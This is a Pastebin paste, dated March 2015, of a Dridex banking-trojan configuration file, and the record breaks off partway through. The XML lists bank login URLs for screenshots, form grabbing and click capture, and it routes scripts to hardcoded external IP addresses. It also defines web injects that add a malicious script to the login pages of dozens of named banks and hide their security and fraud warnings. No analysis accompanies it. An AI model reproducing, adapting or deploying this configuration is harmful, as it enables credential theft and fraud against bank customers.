API tools faq
paste
Advertisement
Guest User

Dridex bot 120 settings

a guest
Mar 16th, 2015
1,611
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 136.07 KB | None | 0 0
raw download clone embed print report
  1. Dridex Settings for bot 120
  2. <settings hash="8a67bf9801ffd46d812b77948e37c9a322341e61">
  3. <httpshots>
  4. <url type="deny" onget="1" onpost="1">\.(gif|png|jpg|css|swf|ico|js)($|\?)</url>
  5. <url type="deny" onget="1" onpost="1">(resource\.axd|yimg\.com)</url>
  6. <url type="allow" onget="1" onpost="1">sogecashnet\.sgeb\.bg</url>
  7. <url type="allow" onget="1" onpost="1">zaba\.hr/ezaba/</url>
  8. <url type="allow" onget="1" onpost="1">^https://www\.bankline\.(natwest\.com|rbs\.com|ulsterbank\.(ie|co\.uk))/</url>
  9. <url type="allow" onpost="1" onget="1">chaseonline\.chase\.com/MyAccounts\.aspx</url>
  10. </httpshots>
  11. <httpinjblock>
  12. <url type="allow">(|\.)alstats\.com</url>
  13. <url type="allow">uni\.ibank\.nbg\.gr</url>
  14. <url type="allow">www7\.onlinebanking\.natwestoffshore\.com</url>
  15. <url type="allow">staticres\.klikbca\.com</url>
  16. <url type="allow">www7\.rbsdigital\.com</url>
  17. <url type="allow">www3\.bankline\.rbs\.com</url>
  18. <url type="allow">check\.tsb\.co\.uk</url>
  19. <url type="allow">www7\.ulsterbankanytimebanking\.co\.uk</url>
  20. <url type="allow">www7\.ulsterbankanytimebanking\.ie</url>
  21. <url type="allow">www3\.bankline\.ulsterbank\.co\.uk</url>
  22. <url type="allow">www3\.bankline\.ulsterbank\.ie</url>
  23. <url type="allow">pioneer\.co\-operativebank\.co\.uk</url>
  24. <url type="allow">mc3\.retail\.santander\.co\.uk</url>
  25. <url type="allow">yellow\.co\-operativebank\.co\.uk</url>
  26. <url type="allow">www3\.bankline\.natwest\.com</url>
  27. <url type="allow">tppa\.bmo\.com</url>
  28. <url type="allow">www7\.onlinebanking\.natwestoffshore\.com</url>
  29. <url type="allow">www\.t32\.pnc\.com</url>
  30. <url type="allow">pane\.bankofamerica\.com</url>
  31. <url type="allow">www\.u43\.pnc\.com/pressroom</url>
  32. <url type="allow">www\.isbank\.com\.tr/Internet/images7</url>
  33. <url type="allow">fbds7\.tangerine\.ca</url>
  34. <url type="allow">www7\.suntrust\.com</url>
  35. <url type="allow">tts\.dlbank\.be</url>
  36. <url type="allow">iss\.gtbank\.com</url>
  37. <url type="allow">www7\.nwolb\.com</url>
  38. <url type="allow">b8k\.nationwide\.co\.uk</url>
  39. <url type="allow">smetrics\.nationwide\.co\.uk</url>
  40. <url type="allow">road\.nationwide\.co\.uk</url>
  41. <url type="allow">roll\.nationwide\.co\.uk</url>
  42. <url type="allow">cws\.bankline\.rbs\.com</url>
  43. <url type="allow">cws\.bankline\.natwest\.com</url>
  44. <url type="allow">nsc\.natwest\.com</url>
  45. <url type="allow">nsc\.rbs\.co\.uk</url>
  46. <url type="allow">nsc\.ulsterbank\.co\.uk</url>
  47. <url type="allow">sc\.natwest\.com</url>
  48. <url type="allow">sc\.rbs\.co\.uk</url>
  49. <url type="allow">sc\.ulsterbank\.co\.uk</url>
  50. <url type="allow">marketing\.lloydsbank\.co\.uk</url>
  51. <url type="allow">marketing\.bankofscotland\.co\.uk</url>
  52. <url type="allow">marketing\.tsb\.co\.uk</url>
  53. <url type="allow">.*\.member-hsbc-group\.com</url>
  54. <url type="allow">mcmprod\.hsbc\.co\.uk</url>
  55. <url type="allow">cdn\.bankofscotland\.co\.uk</url>
  56. <url type="allow">lab\.lloydsbank\.com</url>
  57. <url type="allow">check\.lloydsbank\.co\.uk</url>
  58. <url type="allow">check2\.lloydsbank\.co\.uk</url>
  59. <url type="allow">check\.bankofscotland\.co\.uk</url>
  60. <url type="allow">check2\.bankofscotland\.co\.uk</url>
  61. <url type="allow">cs\.directnet\.com/dn/csd/u4F</url>
  62. <url type="allow">grey\.smile\.co\.uk</url>
  63. <url type="allow">u8n\.business\.santander\.co\.uk</url>
  64. <url type="allow">www7\.secure\.investec\.com</url>
  65. <url type="allow">press\.retail\.santander\.co\.uk</url>
  66. <url type="allow">images\.coventrybuildingsociety\.co\.uk</url>
  67. <url type="allow">www\.bankline\.natwest\.com/CWSLogon/analytics</url>
  68. <url type="allow">www\.bankline\.ulsterbank\.ie/CWSLogon/analytics</url>
  69. <url type="allow">www\.bankline\.ulsterbank\.co\.uk/CWSLogon/analytics</url>
  70. <url type="allow">www\.bankline\.rbs\.com/CWSLogon/analytics</url>
  71. <url type="allow">metrics\.barclays\.co\.uk</url>
  72. <url type="allow">smetrics\.barclays\.co\.uk</url>
  73. <url type="allow">media\.barclays\.co\.uk</url>
  74. <url type="allow">resources\.barclays\.co\.uk</url>
  75. <url type="allow">cdn\.riyadonline\.com</url>
  76. <url type="allow">rac\.bankia\.es</url>
  77. <url type="allow">web12\.columbiabank\.com</url>
  78. <url type="allow">marketing\.halifax\-online\.co\.uk</url>
  79. <url type="allow">room\.business\.santander\.co\.uk</url>
  80. <url type="allow">indigo\.co\-operativebank\.co\.uk</url>
  81. <url type="allow">reporting\.cbonline\.co\.uk</url>
  82. <url type="allow">cdn\.retail\.metrobankonline\.co\.uk</url>
  83. <url type="allow">img3\.moneygram\.com</url>
  84. <url type="allow">mujcz\.erasvet\.cz</url>
  85. </httpinjblock>
  86. <httpblock>
  87. <url type="allow">liveperson\.net</url>
  88. <url type="allow">.*\.levexis\.com</url>
  89. <url type="allow">.*\.omtrdc\.net</url>
  90. <url type="allow">.*\.doubleclick\.net</url>
  91. <url type="allow">.*\.servicetick\.com</url>
  92. <url type="allow">.*\.2o7\.net</url>
  93. <url type="allow">.*\.parastorage\.com</url>
  94. <url type="allow">.*\.webtrendslive\.com</url>
  95. <url type="allow">webtrends\.com</url>
  96. <url type="allow">.*\.creativevirtual\.com</url>
  97. <url type="allow">.*\.tiqcdn\.com</url>
  98. <url type="allow">.*\.serving-sys\.com</url>
  99. <url type="allow">.*\.maxymiser\.net</url>
  100. <url type="allow">.*\.atdmt\.com</url>
  101. <url type="allow">splash-screen\.net</url>
  102. <url type="allow">www\.analytics\-control\.com</url>
  103. <url type="allow">.*\.smartsourceportal\.com</url>
  104. <url type="allow">.*\.na1\.netsuite\.com</url>
  105. <url type="allow">.*\.userreplay\.net</url>
  106. <url type="allow">.*\.sessioncam\.com</url>
  107. <url type="allow">.*\.intenthq\.com</url>
  108. <url type="allow">.*\.tribalfusion\.com</url>
  109. <url type="allow">.*\.mookie1\.com</url>
  110. <url type="allow">.*\.adnxs\.com</url>
  111. <url type="allow">assets\.adobedtm\.com</url>
  112. <url type="allow">.*\.jwpcdn\.com</url>
  113. <url type="allow">.*\.mediaplex\.com</url>
  114. <url type="allow">advanced\-web\-analytics\.com</url>
  115. <url type="allow">ecomm/logrequest</url>
  116. <url type="allow">xbretibx</url>
  117. <url type="allow">sucmetrics\.unicredit\.it</url>
  118. </httpblock>
  119. <formgrabber>
  120. <url type="deny">\.(swf)($|\?)</url>
  121. <url type="deny">/isapi/ocget.dll</url>
  122. <url type="allow">^https?://aol.com/.*/login/</url>
  123. <url type="allow">^https?://accounts.google.com/ServiceLoginAuth</url>
  124. <url type="allow">^https?://login.yahoo.com/</url>
  125. <url type="allow">^https?://login.live.com/</url>
  126. <url type="deny">^https?://(\w+\.)?aol.com</url>
  127. <url type="deny">^https?://(\w+\.)?facebook.com/</url>
  128. <url type="deny">^https?://(\w+\.)?google</url>
  129. <url type="deny">^https?://(\w+\.)?yahoo</url>
  130. <url type="deny">^https?://(\w+\.)?youtube.com</url>
  131. <url type="deny">^https?://(\w+\.)?live.com</url>
  132. <url type="deny">^https?://(\w+\.)?twitter.com</url>
  133. <url type="deny">^https?://(\w+\.)?vk.com</url>
  134. <url type="deny">^https.*ocsp\..+$</url>
  135. <url type="deny">^https.*safebrowsing\..+$</url>
  136. <url type="deny">^https?://fhr\.data\.mozilla\.com</url>
  137. <url type="deny">^https://s.*\.symcd\.com</url>
  138. <url type="deny">^https://s.*\.symcb\.com</url>
  139. <url type="deny">^https.*ocsp2\..+$</url>
  140. <url type="deny">localhost.+skypectoc/.+$</url>
  141. <url type="deny">\.messenger\.live\.com</url>
  142. <url type="deny">pipe\.skype\.com</url>
  143. <url type="deny">\.optimatic\.com</url>
  144. <url type="deny">hiro\.tv</url>
  145. <url type="deny">spotxchange\.com</url>
  146. <url type="deny">nielsen\.com</url>
  147. <url type="deny">mapquest\.com </url>
  148. <url type="deny">^https://.+\.skype\.com/api/</url>
  149. <url type="deny">(//|\.)lphbs.com</url>
  150. <url type="deny">(//|\.)zynga.com</url>
  151. </formgrabber>
  152. <clickshots>
  153. <url type="allow" onpost="1" onget="1" clicks="12" xrange="40" yrange="40">^https://ibank1\.bib\.barclays\.com/logon/bibapplication.+LOGON\.VALIDATE\.SIGNED</url>
  154. <url type="allow" onpost="1" onget="1" clicks="12" xrange="40" yrange="40">^https://cashmanagement\.barclays\.net/portalservices/forms/login\.pser\?TYPE.+cashmanagement</url>
  155. </clickshots>
  156. <redirects>
  157. <redirect name="1st" vnc="0" socks="0" uri="http://92.63.88.66/addons" timeout="20">twister5.js</redirect>
  158. <redirect name="2nd" vnc="1" socks="1" uri="http://92.63.88.66/cashflow" timeout="20">incomeomnitrade.js</redirect>
  159. <redirect name="vbv1" vnc="0" socks="0" postfwd="1" uri="http://97.74.121.166:8080/logs/ukvbvg/js.php" timeout="20">/logs/ukvbvg/js.php</redirect>
  160. <redirect name="vbv2" vnc="0" socks="0" postfwd="1" uri="http://97.74.121.166:8080/logs/ukvbvg/in.php" timeout="20">/logs/ukvbvg/in.php</redirect>
  161. </redirects>
  162. <httpinjects>
  163. <httpinject>
  164. <conditions>
  165. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://corporate\.adcb\.com/corporateWeb/</url>
  166. </conditions>
  167. <actions>
  168. <modify>
  169. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  170. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  171. </modify>
  172. </actions>
  173. </httpinject>
  174. <httpinject>
  175. <conditions>
  176. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://ibb\.aibgb1\.co\.uk/ibb/controller</url>
  177. </conditions>
  178. <actions>
  179. <modify>
  180. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  181. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  182. </modify>
  183. </actions>
  184. </httpinject>
  185. <httpinject>
  186. <conditions>
  187. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://ibusinessbanking\.aib\.ie/ibb/controller</url>
  188. </conditions>
  189. <actions>
  190. <modify>
  191. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  192. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  193. </modify>
  194. </actions>
  195. </httpinject>
  196. <httpinject>
  197. <conditions>
  198. <url type="allow" onpost="1" onget="1" modifiers="iU">^http://business.aib.ie/(business|)login</url>
  199. </conditions>
  200. <actions>
  201. <modify>
  202. <pattern modifiers="i"><![CDATA[(alt="Secuirty Alert")]]></pattern>
  203. <replacement><![CDATA[\1 style="display:none;"]]></replacement>
  204. </modify>
  205. <modify>
  206. <pattern modifiers="i"><![CDATA[(<div class="content parsys"><div class="parsys_column colctrl\-4c")]]></pattern>
  207. <replacement><![CDATA[\1 style="display:none;"]]></replacement>
  208. </modify>
  209. <modify>
  210. <pattern modifiers="i"><![CDATA[<div class="parbase ibbLauncher section">]]></pattern>
  211. <replacement><![CDATA[<div><img src="/etc/designs/default/0.gif" class="cq-dd-image cq-image-placeholder" alt="" title="" id="cq-gen321"><div class="clear"></div><div class="product"><div class="action no-padding"><div class="button"><a data-text="Business Log In" href="javascript:void(window.open('https://ibusinessbanking.aib.ie/ibb/controller?reqID=login', 'example1', 'top=1, left=1, width=790, height=522, location=no, menubar=no, status=yes, toolbar=no, scrollbars=no, resizable=no'))" rel="nofollow">LOG IN TO IBB</a> </div></div></div></div><div class="parbase ibbLauncher section" style="display:none;">]]></replacement>
  212. </modify>
  213. </actions>
  214. </httpinject>
  215. <httpinject>
  216. <conditions>
  217. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://online\.adambank\.com/eBankingAdamLogin/login</url>
  218. </conditions>
  219. <actions>
  220. <modify>
  221. <pattern modifiers="i"><![CDATA[(</body>)]]></pattern>
  222. <replacement><![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>\1]]></replacement>
  223. </modify>
  224. </actions>
  225. </httpinject>
  226. <httpinject>
  227. <conditions>
  228. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.mybusinessbank\.co\.uk/cs70\_banking/logon/slogon</url>
  229. </conditions>
  230. <actions>
  231. <modify>
  232. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  233. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  234. </modify>
  235. </actions>
  236. </httpinject>
  237. <httpinject>
  238. <conditions>
  239. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://leumionline\.bankleumi\.co\.uk/my\.policy</url>
  240. </conditions>
  241. <actions>
  242. <modify>
  243. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  244. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  245. </modify>
  246. </actions>
  247. </httpinject>
  248. <httpinject>
  249. <conditions>
  250. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://online\.bankofcyprus\.co\.uk/netteller/login\.faces</url>
  251. </conditions>
  252. <actions>
  253. <modify>
  254. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  255. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  256. </modify>
  257. <modify>
  258. <pattern modifiers="i"><![CDATA[(id="form:gridPanel61" style=")]]></pattern>
  259. <replacement><![CDATA[\1display:none;]]></replacement>
  260. </modify>
  261. </actions>
  262. </httpinject>
  263. <httpinject>
  264. <conditions>
  265. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.boi\-bol\.com/newHome\.jsp</url>
  266. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.boi\-bol\.com/comLogon\.jsp</url>
  267. </conditions>
  268. <actions>
  269. <modify>
  270. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  271. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  272. </modify>
  273. <modify>
  274. <pattern modifiers="i"><![CDATA[font\-weight: bold;" title="Contact Us"]]></pattern>
  275. <replacement><![CDATA[visibility:hidden;font-weight: bold;" title="Contact Us"]]></replacement>
  276. </modify>
  277. <modify>
  278. <pattern modifiers="i"><![CDATA[(div class="securityInfo")]]></pattern>
  279. <replacement><![CDATA[\1 style="display:none;"]]></replacement>
  280. </modify>
  281. <modify>
  282. <pattern modifiers="i"><![CDATA[(id="javaAppletDiv")]]></pattern>
  283. <replacement><![CDATA[\1 style="min-height:auto;"]]></replacement>
  284. </modify>
  285. </actions>
  286. </httpinject>
  287. <httpinject>
  288. <conditions>
  289. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://banking\.bankofscotland\.co\.uk/Logon/Logon\.aspx(\?|$)
  290. </url>
  291. </conditions>
  292. <actions>
  293. <modify>
  294. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  295. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  296. </modify>
  297. <modify>
  298. <pattern modifiers="i"><![CDATA[ class="message">Reminder.*</span>]]></pattern>
  299. <replacement><![CDATA[></span>]]></replacement>
  300. </modify>
  301. </actions>
  302. </httpinject>
  303. <httpinject>
  304. <conditions>
  305. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://online\-business\.bankofscotland\.co\.uk/business/logon/login\.jsp(\?|$)
  306. </url>
  307. </conditions>
  308. <actions>
  309. <modify>
  310. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  311. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  312. </modify>
  313. </actions>
  314. </httpinject>
  315. <httpinject>
  316. <conditions>
  317. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://cashmanagement\.barclays\.net/portalservices/forms/login\.pser</url>
  318. </conditions>
  319. <actions>
  320. <modify>
  321. <pattern modifiers="msU"><![CDATA[(\<head.*\>)]]></pattern>
  322. <replacement><![CDATA[\1
  323. <style type="text/css">
  324. body {visibility: hidden; }
  325. </style>
  326. <script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>
  327. <script type="text/javascript">setTimeout(function(){document.body.style.visibility = 'visible';}, 5000);</script>
  328. ]]></replacement>
  329. </modify>
  330. </actions>
  331. </httpinject>
  332. <httpinject>
  333. <conditions>
  334. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.barclayswealth\.com/login/action/logon/unauthenticated/personal/loginDetails</url>
  335. </conditions>
  336. <actions>
  337. <modify>
  338. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  339. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  340. </modify>
  341. <modify>
  342. <pattern modifiers="i"><![CDATA[(ContentAdditionalLinks")]]></pattern>
  343. <replacement><![CDATA[\1 style="display:none;"]]></replacement>
  344. </modify>
  345. </actions>
  346. </httpinject>
  347. <httpinject>
  348. <conditions>
  349. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://connect\.barclays\.com/.*authen</url>
  350. </conditions>
  351. <actions>
  352. <modify>
  353. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  354. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  355. </modify>
  356. </actions>
  357. </httpinject>
  358. <httpinject>
  359. <conditions>
  360. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.fundsdirect\.co\.uk/bks/login\.aspx\?bksid=beaumont</url>
  361. </conditions>
  362. <actions>
  363. <modify>
  364. <pattern modifiers="i"><![CDATA[(</body>)]]></pattern>
  365. <replacement><![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>\1]]></replacement>
  366. </modify>
  367. </actions>
  368. </httpinject>
  369. <httpinject>
  370. <conditions>
  371. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://corporate\.cbq\.com\.qa</url>
  372. </conditions>
  373. <actions>
  374. <modify>
  375. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  376. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  377. </modify>
  378. </actions>
  379. </httpinject>
  380. <httpinject>
  381. <conditions>
  382. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://securebank\.cahoot\.com/servlet/com\.aquariussecurity\.bks\.security\.authentication\.servlet\.LoginEntryServletBKS</url>
  383. </conditions>
  384. <actions>
  385. <modify>
  386. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  387. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  388. </modify>
  389. </actions>
  390. </httpinject>
  391. <httpinject>
  392. <conditions>
  393. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.caterallenonline\.co\.uk/WebAccess\.dll</url>
  394. </conditions>
  395. <actions>
  396. <modify>
  397. <pattern modifiers="i"><![CDATA[(</body>)]]></pattern>
  398. <replacement><![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>\1]]></replacement>
  399. </modify>
  400. </actions>
  401. </httpinject>
  402. <httpinject>
  403. <conditions>
  404. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://home\d*\.cybusinessonline\.co\.uk/lmgru.*/ceblm\-web/</url>
  405. </conditions>
  406. <actions>
  407. <modify>
  408. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  409. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  410. </modify>
  411. </actions>
  412. </httpinject>
  413. <httpinject>
  414. <conditions>
  415. <url type="allow" onpost="1" onget="1" modifiers="iU">^https?://www\.cybusinessonline\.co\.uk/essential\-maintenance/fraud\-message</url>
  416. </conditions>
  417. <actions>
  418. <modify>
  419. <pattern modifiers="i"><![CDATA[(position: relative; padding-bottom: 20px;)]]></pattern>
  420. <replacement><![CDATA[\1visibility:hidden;]]></replacement>
  421. </modify>
  422. </actions>
  423. </httpinject>
  424. <httpinject>
  425. <conditions>
  426. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://business\.co\-operativebank\.co\.uk/corp/BANKAWAY</url>
  427. </conditions>
  428. <actions>
  429. <modify>
  430. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  431. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  432. </modify>
  433. </actions>
  434. </httpinject>
  435. <httpinject>
  436. <conditions>
  437. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://fdonline\.co\-operativebank\.co\.uk/corp/BANKAWAY</url>
  438. </conditions>
  439. <actions>
  440. <modify>
  441. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  442. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  443. </modify>
  444. </actions>
  445. </httpinject>
  446. <httpinject>
  447. <conditions>
  448. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://cbfm\.saas\.cashfac\.com/cbfm/</url>
  449. </conditions>
  450. <actions>
  451. <modify>
  452. <pattern modifiers="is"><![CDATA[(</form>)]]></pattern>
  453. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  454. </modify>
  455. </actions>
  456. </httpinject>
  457. <httpinject>
  458. <conditions>
  459. <url type="allow" onpost="1" onget="1" modifiers="iU">^http://www\.co\-operativebank\.co\.uk/corporate/fdo\-noticeboard</url>
  460. <url type="allow" onpost="1" onget="1" modifiers="iU">^http://www\.co\-operativebank\.co\.uk/business/businessonlinebanking/bobs\-noticeboard</url>
  461. </conditions>
  462. <actions>
  463. <modify>
  464. <pattern modifiers="isU"><![CDATA[<article class="textareaDefault">.*be fooled by fraudsters.*</article>]]></pattern>
  465. <replacement><![CDATA[]]></replacement>
  466. </modify>
  467. </actions>
  468. </httpinject>
  469. <httpinject>
  470. <conditions>
  471. <url type="allow" onpost="1" onget="1" modifiers="Ui">^https://cbionline\.cbi\.ae/bus/security/companyLogin\.jsp</url>
  472. </conditions>
  473. <actions>
  474. <modify>
  475. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  476. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  477. </modify>
  478. </actions>
  479. </httpinject>
  480. <httpinject>
  481. <conditions>
  482. <url type="allow" onpost="1" onget="1" modifiers="">^https://www\.cbdibusiness\.ae/cb/servlet/cb/login\.jsp($|\?)</url>
  483. </conditions>
  484. <actions>
  485. <modify>
  486. <pattern modifiers=""><![CDATA[(</form>)]]></pattern>
  487. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  488. </modify>
  489. <modify>
  490. <pattern modifiers=""><![CDATA[(<head>)]]></pattern>
  491. <replacement><![CDATA[\1<style>.sectionhead {display:none;}</style>]]></replacement>
  492. </modify>
  493. </actions>
  494. </httpinject>
  495. <httpinject>
  496. <conditions>
  497. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://online\.coutts\.com/eBankingCouttsLogin/login</url>
  498. </conditions>
  499. <actions>
  500. <modify>
  501. <pattern modifiers="i"><![CDATA[(</body>)]]></pattern>
  502. <replacement><![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>\1]]></replacement>
  503. </modify>
  504. </actions>
  505. </httpinject>
  506. <httpinject>
  507. <conditions>
  508. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://business\d*\.danskebank\.(co\.uk|com)/pub/logon/logon\.aspx</url>
  509. </conditions>
  510. <actions>
  511. <modify>
  512. <pattern modifiers="i"><![CDATA[(</body>)]]></pattern>
  513. <replacement><![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>\1]]></replacement>
  514. </modify>
  515. <modify>
  516. <pattern modifiers="isU"><![CDATA[(<div id="ctl00_AsideArea_DbgBox1")]]></pattern>
  517. <replacement><![CDATA[\1 style="display:none;"]]></replacement>
  518. </modify>
  519. <modify>
  520. <pattern modifiers="isU"><![CDATA[(<di22222v id="ctl00_HeadArea_WPManager_DbgCmsContent3")]]></pattern>
  521. <replacement><![CDATA[\1 style="display:none;"]]></replacement>
  522. </modify>
  523. </actions>
  524. </httpinject>
  525. <httpinject>
  526. <conditions>
  527. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://.*\.directnet\.com/dn/c/cls/auth</url>
  528. </conditions>
  529. <actions>
  530. <modify>
  531. <pattern modifiers=""><![CDATA[(</form>)]]></pattern>
  532. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  533. </modify>
  534. </actions>
  535. </httpinject>
  536. <httpinject>
  537. <conditions>
  538. <url type="allow" onpost="1" onget="1" modifiers="Ui">^https://online\.dib\.ae/webapplication\.ui/localoperations/login/corporateloginpage\.aspx</url>
  539. </conditions>
  540. <actions>
  541. <modify>
  542. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  543. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  544. </modify>
  545. </actions>
  546. </httpinject>
  547. <httpinject>
  548. <conditions>
  549. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://login\.smartbusiness\.ae/</url>
  550. </conditions>
  551. <actions>
  552. <modify>
  553. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  554. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  555. </modify>
  556. </actions>
  557. </httpinject>
  558. <httpinject>
  559. <conditions>
  560. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://online\.fgb\.ae/fgbcorporate/CorpLogin\.html?(\?|$)</url>
  561. </conditions>
  562. <actions>
  563. <modify>
  564. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  565. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  566. </modify>
  567. </actions>
  568. </httpinject>
  569. <httpinject>
  570. <conditions>
  571. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\d+\.firstdirect\.com/1/2/</url>
  572. </conditions>
  573. <actions>
  574. <modify>
  575. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  576. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  577. </modify>
  578. </actions>
  579. </httpinject>
  580. <httpinject>
  581. <conditions>
  582. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://ibps\.hpb\.hr/HPB\.iBank\.IBPS\.Web/login\.iface</url>
  583. </conditions>
  584. <actions>
  585. <modify>
  586. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  587. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  588. </modify>
  589. </actions>
  590. </httpinject>
  591. <httpinject>
  592. <conditions>
  593. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.onlinebanking\.iombank\.com/(login|default)\.aspx</url>
  594. </conditions>
  595. <actions>
  596. <modify>
  597. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  598. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  599. </modify>
  600. </actions>
  601. </httpinject>
  602. <httpinject>
  603. <conditions>
  604. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.onlinebanking\.iombank\.com/(login|default)\.aspx</url>
  605. </conditions>
  606. <actions>
  607. <modify>
  608. <pattern modifiers="i"><![CDATA[(class="frame securityImage")]]></pattern>
  609. <replacement><![CDATA[\1 style="display:none;"]]></replacement>
  610. </modify>
  611. </actions>
  612. </httpinject>
  613. <httpinject>
  614. <conditions>
  615. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.iombankibanking\.com/eai/IPB_EAI_Web/</url>
  616. </conditions>
  617. <actions>
  618. <modify>
  619. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  620. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  621. </modify>
  622. <modify>
  623. <pattern modifiers="iU"><![CDATA[<META http\-equiv="refresh" content=".*">]]></pattern>
  624. <replacement><![CDATA[]]></replacement>
  625. </modify>
  626. </actions>
  627. </httpinject>
  628. <httpinject>
  629. <conditions>
